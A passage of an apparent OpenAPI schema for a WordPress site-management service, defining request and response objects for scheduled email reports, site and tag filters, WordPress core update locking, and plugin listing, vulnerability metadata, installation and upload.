format.", "example": "DD/MM/YYYY" } } }, "sections": { "type": "object", "additionalProperties": { "type": "object" }, "description": "Section settings keyed by public section name.", "example": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } } }, "section_order": { "type": "array", "description": "Public section keys in display order.", "items": { "type": "string" }, "example": [ "cover" ] }, "email": { "type": "object", "required": [ "sender_email", "subject", "body", "attach_pdf", "send_to_client", "recipients" ], "additionalProperties": false, "description": "Editable email delivery settings for the scheduled report.", "properties": { "sender_email": { "oneOf": [ { "type": "object", "required": [ "id", "email" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SenderEmailId" }, "email": { "type": "string", "format": "email", "description": "Sender email address.", "example": "reports@example.com" } } }, { "type": "null" } ], "description": "Custom sender email, or null when the standard sender is used.", "example": null }, "subject": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email subject.", "example": "Weekly Website Report" }, "body": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Email body.", "example": "Please find your report attached." }, "attach_pdf": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether the report email attaches the PDF.", "example": true }, "send_to_client": { "type": "boolean", "description": "Whether the report is sent to the site's assigned client.", "example": false }, "recipients": { "type": "array", "description": "Recipient email addresses.", "items": { "type": "string", "format": "email" }, "example": [ "user@example.com" ] } } } }, "example": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } } }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the schedule was created.", "example": "2026-03-01T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the schedule was last updated.", "example": "2026-03-01T10:00:00Z" } }, "example": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-01T10:00:00Z" } } }, "example": { "scheduled_report": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-01T10:00:00Z" } } }, "UpdateScheduledReportRequest": { "type": "object", "required": [ "scheduled_report" ], "additionalProperties": true, "description": "Request body for updating a scheduled report. Include `started_at`, `frequency`, and `report_template_data` under `scheduled_report`.", "properties": { "scheduled_report": { "type": "object", "required": [ "started_at", "frequency", "report_template_data" ], "additionalProperties": true, "properties": { "timezone": { "type": "string", "description": "Schedule timezone name, such as `UTC` or `Asia/Kolkata`. Omit to keep the schedule's current timezone. The submitted `started_at` time uses this timezone.", "example": "UTC" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled report time. If changed, it must be in the future.", "example": "2026-03-10T09:00:00Z" }, "frequency": { "type": "string", "enum": [ "weekly", "biweekly", "monthly" ], "description": "Schedule frequency.", "example": "monthly" }, "template_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Existing report template ID to use as the base report contents. Omit to keep the current template. Send `null` or `default` to build the schedule directly from `report_template_data`.", "example": "nR4eJk7pLm2xWc8vYs5fTd9a" }, "report_template_data": { "$ref": "#/components/schemas/ScheduledReportTemplateDataRequest" } } } }, "example": { "scheduled_report": { "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "frequency": "monthly", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd" }, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } } } } }, "ListTeamMembersSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned team members and invitations.", "example": "created_at,desc" }, "ListTeamMembersFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned team members and invitations.", "example": { "name:contains": "John", "role:eq": "administrator" } }, "ListTagsSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned tags.", "example": "created_at,desc" }, "ListTagsFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned tags.", "properties": { "name:eq": { "type": "string", "description": "Match tags with this exact name.", "example": "Production" }, "name:contains": { "type": "string", "description": "Match tags whose name contains this value.", "example": "Prod" }, "color:eq": { "type": "string", "description": "Match tags with this exact hex color.", "example": "#00ff00" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Match tags created at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Match tags created at or before this timestamp.", "example": "2026-01-31T23:59:59Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Match tags updated at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Match tags updated at or before this timestamp.", "example": "2026-01-31T23:59:59Z" }, "site_id:in": { "type": "array", "description": "Match tags assigned to one or more site IDs available to you.", "items": { "$ref": "#/components/schemas/SiteId" } } }, "example": { "name:contains": "Production", "site_id:in": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } }, "ListStagingSitesSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned staging sites.", "example": "created_at,desc" }, "ListStagingSitesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned staging sites.", "example": { "status:eq": "active", "site_id:eq": "9bf3c2e7a1b24c6d8e9f0123456789ab" } }, "ListSitesSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned sites.", "example": "created_at,desc" }, "ListSitesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned sites.", "example": { "backups:eq": true, "tags:in": [ "428" ], "php_version:gt": "8.1" } }, "SiteBackupCountStats": { "type": "object", "required": [ "total", "synced", "ignored" ], "additionalProperties": false, "description": "Backup total, synced, and ignored values.", "properties": { "total": { "type": "integer", "description": "Total count or bytes.", "example": 3692 }, "synced": { "type": "integer", "description": "Synced count or bytes.", "example": 3600 }, "ignored": { "type": "integer", "description": "Ignored count or bytes.", "example": 92 } } }, "SiteBackupStats": { "type": "object", "required": [ "count", "size" ], "additionalProperties": false, "description": "Backup counts and byte sizes.", "properties": { "count": { "$ref": "#/components/schemas/SiteBackupCountStats" }, "size": { "$ref": "#/components/schemas/SiteBackupCountStats" } } }, "SiteFeatureState": { "type": "object", "required": [ "enabled" ], "additionalProperties": false, "description": "Enabled state for a site feature.", "properties": { "enabled": { "type": "boolean", "description": "Whether the feature is enabled.", "example": true } } }, "ImportantPageId": { "type": "string", "description": "Important page ID.", "example": "f5b7c1a0d3e9f7b2" }, "ListSiteFilesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned files and folders.", "properties": { "status:eq": { "type": "string", "description": "Match files and folders by backup inclusion status. Supported values for matching are `synced` and `skipped`.", "example": "synced" }, "modified_at:gte": { "type": "string", "format": "date-time", "description": "Return entries modified at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "modified_at:lte": { "type": "string", "format": "date-time", "description": "Return entries modified at or before this timestamp.", "example": "2026-01-31T23:59:59Z" }, "name:contains": { "type": "string", "description": "Match entries whose basename contains this case-sensitive value.", "example": "index" }, "size:gte": { "type": "integer", "minimum": 0, "description": "Return entries whose size is at least this many bytes.", "example": 100 }, "size:lte": { "type": "integer", "minimum": 0, "description": "Return entries whose size is at most this many bytes.", "example": 100000 } }, "example": { "status:eq": "synced", "modified_at:gte": "2026-01-01T00:00:00Z", "name:contains": "index", "size:gte": 100 } }, "ListSiteTablesSort": { "type": "string", "default": "name,asc", "description": "Sort order for returned database tables.", "example": "size,desc" }, "ListSiteTablesFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned database tables.", "properties": { "name:contains": { "type": "string", "description": "Match tables whose name contains this case-insensitive value.", "example": "wp_" }, "rows:gte": { "type": "integer", "minimum": 0, "description": "Return tables with at least this many rows.", "example": 100 }, "rows:lte": { "type": "integer", "minimum": 0, "description": "Return tables with at most this many rows.", "example": 100000 }, "size:gte": { "type": "integer", "minimum": 0, "description": "Return tables whose data size is at least this many bytes.", "example": 1024 }, "size:lte": { "type": "integer", "minimum": 0, "description": "Return tables whose data size is at most this many bytes.", "example": 10485760 }, "status:eq": { "type": "string", "description": "Match tables by backup inclusion status. Supported values for matching are `synced` and `skipped`.", "example": "synced" } }, "example": { "name:contains": "wp_", "rows:gte": 100, "size:lte": 10485760, "status:eq": "synced" } }, "SitesWpCoreFilters": { "type": "object", "required": [], "additionalProperties": false, "description": "Filters applied to returned WordPress core status entries.", "properties": { "update_available:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether a WordPress core update is available.", "example": true }, "locked:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether WordPress core updates are locked.", "example": false } }, "example": { "update_available:eq": true } }, "SitesWpVulnerabilitySecurity": { "type": "object", "required": [ "vulnerable", "vulnerabilities" ], "description": "Optional vulnerability details returned when `include_vulnerabilities=true` and the site plan supports vulnerability enrichment.", "properties": { "vulnerable": { "type": "boolean", "description": "Whether known vulnerabilities are detected for the WordPress component.", "example": true }, "vulnerabilities": { "type": "array", "description": "Vulnerabilities detected for the WordPress component.", "items": { "type": "object", "required": [ "vulnerability_id", "title", "cve_id", "ghsa_id", "cvss_rating", "cvss_score", "patched_version", "published_at", "virtual_patch" ], "properties": { "vulnerability_id": { "type": "string", "description": "Unique vulnerability component identifier.", "example": "6fb92d35" }, "title": { "type": "string", "description": "Vulnerability title.", "example": "Unauthenticated SQL injection" }, "cve_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "CVE identifier, or `null` when no CVE is assigned.", "example": "CVE-2026-12345" }, "ghsa_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "GHSA identifier, or `null` when no GHSA is assigned.", "example": "GHSA-abcd-1234-wxyz" }, "cvss_rating": { "oneOf": [ { "type": "string", "enum": [ "none", "low", "medium", "high", "critical" ] }, { "type": "null" } ], "description": "CVSS severity rating, or `null` when unavailable.", "example": "critical" }, "cvss_score": { "oneOf": [ { "type": "number" }, { "type": "null" } ], "description": "CVSS score, or `null` when unavailable.", "example": 9.1 }, "patched_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Version that patches the vulnerability, or `null` when unavailable.", "example": "5.3.2" }, "published_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the vulnerability was published, or `null` when unavailable.", "example": "2026-06-20T00:00:00Z" }, "virtual_patch": { "type": "object", "required": [ "available", "mode", "state", "live_at", "applied", "applied_at" ], "description": "Virtual patch status for this vulnerability on the site.", "properties": { "available": { "type": "boolean", "description": "Whether a virtual patch is available.", "example": true }, "mode": { "type": "string", "enum": [ "inherit", "disabled" ], "description": "Virtual patch mode selected for this vulnerability.", "example": "inherit" }, "state": { "oneOf": [ { "type": "string", "enum": [ "live" ] }, { "type": "null" } ], "description": "Live virtual patch state, or `null` when no live patch is available.", "example": "live" }, "live_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the virtual patch went live, or `null` when no live patch is available.", "example": "2026-06-22T00:00:00Z" }, "applied": { "type": "boolean", "description": "Whether the live virtual patch has been applied to the site.", "example": true }, "applied_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the virtual patch was applied to the site, or `null` when not applied.", "example": "2026-06-22T10:20:00Z" } } } } } } }, "example": { "vulnerable": true, "vulnerabilities": [ { "vulnerability_id": "6fb92d35", "title": "Unauthenticated SQL injection", "cve_id": "CVE-2026-12345", "ghsa_id": "GHSA-abcd-1234-wxyz", "cvss_rating": "critical", "cvss_score": 9.1, "patched_version": "5.3.2", "published_at": "2026-06-20T00:00:00Z", "virtual_patch": { "available": true, "mode": "inherit", "state": "live", "live_at": "2026-06-22T00:00:00Z", "applied": true, "applied_at": "2026-06-22T10:20:00Z" } } ] } }, "WordpressCore": { "type": "object", "required": [ "current_version", "latest_version", "update_available", "locked" ], "description": "WordPress core version and update lock state for a site.", "properties": { "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current WordPress core version reported by the site, or `null` when it is not known.", "example": "6.4.2" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest WordPress core version available to the site, or `null` when no version is known.", "example": "6.4.3" }, "update_available": { "type": "boolean", "description": "Whether a WordPress core update has been detected for the site.", "example": true }, "locked": { "type": "boolean", "description": "Whether WordPress core updates are currently locked for the site.", "example": false }, "security": { "$ref": "#/components/schemas/SitesWpVulnerabilitySecurity" } }, "example": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } }, "ListSitesWpCoreResponse": { "type": "object", "required": [ "sites", "meta" ], "description": "Response envelope returned with a paginated list of WordPress core status by site.", "properties": { "sites": { "type": "array", "description": "Sites and their WordPress core status.", "items": { "type": "object", "required": [ "id", "last_sync_at", "wp" ], "description": "Site with its WordPress core status.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the site last synced successfully, or `null` when the site has not synced.", "example": "2026-01-12T08:20:00Z" }, "wp": { "type": "object", "required": [ "core" ], "description": "WordPress data for the site.", "properties": { "core": { "$ref": "#/components/schemas/WordpressCore" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } } } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } } }, { "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708", "last_sync_at": "2026-01-12T09:15:00Z", "wp": { "core": { "current_version": "6.4.3", "latest_version": "6.4.3", "update_available": false, "locked": true } } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "SitesWpCoreOperationSite": { "type": "object", "required": [ "id" ], "additionalProperties": true, "description": "Site selected for a WordPress core lock or unlock operation.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "LockSitesWpCoreRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for locking WordPress core updates on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites to lock WordPress core updates for.", "items": { "$ref": "#/components/schemas/SitesWpCoreOperationSite" } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ] } }, "LockSitesWpCoreResponse": { "type": "object", "required": [ "lock" ], "description": "Response envelope returned after WordPress core updates are locked.", "properties": { "lock": { "type": "object", "required": [ "site_ids" ], "description": "WordPress core lock result.", "properties": { "site_ids": { "type": "array", "description": "Site IDs accepted for the lock operation.", "items": { "$ref": "#/components/schemas/SiteId" } } } } }, "example": { "lock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "UnlockSitesWpCoreRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for unlocking WordPress core updates on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites to unlock WordPress core updates for.", "items": { "$ref": "#/components/schemas/SitesWpCoreOperationSite" } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ] } }, "UnlockSitesWpCoreResponse": { "type": "object", "required": [ "unlock" ], "description": "Response envelope returned after WordPress core updates are unlocked.", "properties": { "unlock": { "type": "object", "required": [ "site_ids" ], "description": "WordPress core unlock result.", "properties": { "site_ids": { "type": "array", "description": "Site IDs accepted for the unlock operation.", "items": { "$ref": "#/components/schemas/SiteId" } } } } }, "example": { "unlock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "ListSitesWpPluginsSort": { "type": "string", "default": "name,asc", "description": "Sort order for returned WordPress plugins.", "example": "name,asc" }, "SitesWpPluginFilters": { "type": "object", "required": [], "additionalProperties": false, "description": "Filters applied to returned WordPress plugins.", "properties": { "name:contains": { "type": "string", "description": "Case-insensitive partial match against the plugin name.", "example": "akismet" }, "slug:eq": { "type": "string", "description": "Exact match against the plugin slug.", "example": "akismet" }, "filename:eq": { "type": "string", "description": "Exact match against the plugin filename path.", "example": "akismet/akismet.php" }, "current_version:eq": { "type": "string", "description": "Exact match against the installed plugin version.", "example": "5.3.1" }, "latest_version:eq": { "type": "string", "description": "Exact match against the latest detected plugin version.", "example": "5.3.3" }, "update_available:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether a plugin update is available.", "example": true }, "database_update_required:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether a plugin database update is required.", "example": false }, "active:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether the plugin is active.", "example": true }, "network_wide:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether the plugin is network activated on a multisite installation.", "example": false }, "package_available:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether an update package is available.", "example": true }, "vulnerable:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether known vulnerabilities are detected for the plugin.", "example": false }, "locked:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether plugin updates are locked.", "example": false }, "malicious:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether the plugin is classified as malicious.", "example": false } }, "example": { "name:contains": "akismet", "active:eq": true, "update_available:eq": true } }, "SitesWpPlugin": { "type": "object", "required": [ "name", "slug", "filename", "current_version", "latest_version", "update_available", "database", "active", "network_wide", "package_available", "locked", "malicious" ], "description": "Installed WordPress plugin details reported for one site.", "properties": { "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Human-readable plugin name reported by the site.", "example": "Akismet Anti-spam" }, "slug": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin slug used by WordPress and package repositories.", "example": "akismet" }, "filename": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin filename path relative to the WordPress plugins directory.", "example": "akismet/akismet.php" }, "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Version currently installed on the site, or `null` when unavailable.", "example": "5.3.1" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest version detected for the plugin, or `null` when no update metadata is available.", "example": "5.3.3" }, "update_available": { "type": "boolean", "description": "Whether a plugin update has been detected.", "example": true }, "database": { "type": "object", "required": [ "current_version", "latest_version", "update_required" ], "description": "Plugin database schema version metadata.", "properties": { "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Database schema version currently reported by the plugin, or `null` when unavailable.", "example": "1.0" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest database schema version detected for the plugin, or `null` when unavailable.", "example": "1.1" }, "update_required": { "type": "boolean", "description": "Whether a plugin database update is required.", "example": false } } }, "active": { "type": "boolean", "description": "Whether the plugin is active on the site.", "example": true }, "network_wide": { "type": "boolean", "description": "Whether the plugin is network activated on a multisite installation.", "example": false }, "package_available": { "type": "boolean", "description": "Whether an update package is available for the plugin.", "example": true }, "locked": { "type": "boolean", "description": "Whether plugin updates are locked for this plugin on the site.", "example": false }, "vulnerable": { "type": "boolean", "description": "Whether known vulnerabilities are detected for the plugin in the default response. Omitted when `security` is returned for `include_vulnerabilities=true`.", "example": false }, "malicious": { "type": "boolean", "description": "Whether the plugin is classified as malicious.", "example": false }, "security": { "$ref": "#/components/schemas/SitesWpVulnerabilitySecurity" } }, "example": { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } }, "ListSitesWpPluginsResponse": { "type": "object", "required": [ "sites", "meta" ], "description": "Response envelope returned with a paginated list of WordPress plugins grouped by site.", "properties": { "sites": { "type": "array", "description": "Sites and their WordPress plugin metadata.", "items": { "type": "object", "required": [ "id", "last_sync_at", "wp" ], "description": "Site with its WordPress plugin details.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the site last synced successfully, or `null` when the site has not synced.", "example": "2026-01-12T08:20:00Z" }, "wp": { "type": "object", "description": "WordPress data for the site.", "properties": { "plugins": { "type": "array", "description": "Installed plugins returned for the site. This key can be omitted when no plugins are returned for the page.", "items": { "$ref": "#/components/schemas/SitesWpPlugin" } } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } ] } } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } ] } }, { "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708", "last_sync_at": "2026-01-12T09:15:00Z", "wp": { "plugins": [ { "name": "Yoast SEO", "slug": "wordpress-seo", "filename": "wordpress-seo/wp-seo.php", "current_version": "22.0", "latest_version": "22.0", "update_available": false, "database": { "current_version": "2.0", "latest_version": "2.0", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": true, "vulnerable": false, "malicious": false } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "SitesWpPluginOperationOptions": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional controls for plugin install, upload, activation, deactivation, or deletion workflows.", "properties": { "visual_regression": { "type": "boolean", "description": "Run visual regression checks as part of the operation when the site plan supports it.", "example": false }, "backup": { "type": "boolean", "description": "Create a backup before the plugin operation when supported.", "example": true }, "sandbox": { "type": "boolean", "description": "Run the plugin operation through a sandbox workflow when supported.", "example": false } }, "example": { "backup": true, "sandbox": false, "visual_regression": false } }, "InstallSitesWpPluginsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for installing WordPress.org plugins on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and plugin update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress.org plugin packages selected for installation.", "items": { "type": "object", "required": [ "id", "plugins" ], "additionalProperties": true, "description": "Site and plugin packages selected for a plugin install task.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "options": { "$ref": "#/components/schemas/SitesWpPluginOperationOptions" }, "plugins": { "type": "array", "minItems": 1, "description": "WordPress.org plugin packages to install on the site.", "items": { "type": "object", "required": [ "slug", "name", "version", "package" ], "additionalProperties": true, "description": "WordPress.org plugin package selected for installation.", "properties": { "slug": { "type": "string", "description": "WordPress.org plugin slug.", "example": "akismet" }, "name": { "type": "string", "description": "Human-readable plugin name.", "example": "Akismet Anti-spam" }, "version": { "type": "string", "description": "Plugin version to install.", "example": "5.3.3" }, "package": { "type": "string", "format": "uri", "description": "HTTPS package URL from a WordPress.org domain.", "example": "https://downloads.wordpress.org/plugin/akismet.5.3.3.zip" } }, "example": { "slug": "akismet", "name": "Akismet Anti-spam", "version": "5.3.3", "package": "https://downloads.wordpress.org/plugin/akismet.5.3.3.zip" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "slug": "akismet", "name": "Akismet Anti-spam", "version": "5.3.3", "package": "https://downloads.wordpress.org/plugin/akismet.5.3.3.zip" } ] } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "slug": "akismet", "name": "Akismet Anti-spam", "version": "5.3.3", "package": "https://downloads.wordpress.org/plugin/akismet.5.3.3.zip" } ] } ] } }, "SitesWpPluginTask": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Background task created for a plugin management operation.", "properties": { "id": { "$ref": "#/components/schemas/TaskId" }, "status": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current task status.", "example": "queued" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Task creation time.", "example": "2026-01-12T09:00:00Z" } }, "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } }, "InstallSitesWpPluginsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a plugin install task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpPluginTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "UploadSitesWpPluginsRequest": { "type": "object", "required": [ "sites", "plugins" ], "additionalProperties": true, "description": "Multipart request body for uploading plugin ZIP files and installing them on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and plugin update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites where uploaded plugin ZIP files should be installed.", "items": { "type": "object", "required": [ "id" ], "additionalProperties": true, "description": "Site selected for installing uploaded plugin ZIP files.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "options": { "$ref": "#/components/schemas/SitesWpPluginOperationOptions" } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } } }, "plugins": { "type": "array", "minItems": 1, "description": "Plugin ZIP files to upload.", "items": { "type": "object", "required": [ "file" ], "additionalProperties": true, "description": "Plugin ZIP file uploaded for installation.", "properties": { "file": { "type": "string", "format": "binary", "description": "Plugin ZIP archive. Accepted content types are `application/zip` and `application/x-zip-compressed`; maximum size is 50 MB." } } } } } }, "UploadSitesWpPluginsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a plugin upload task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpPluginTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "SitesWpPluginOperationPlugin": { "type": "object", "required": [ "filename" 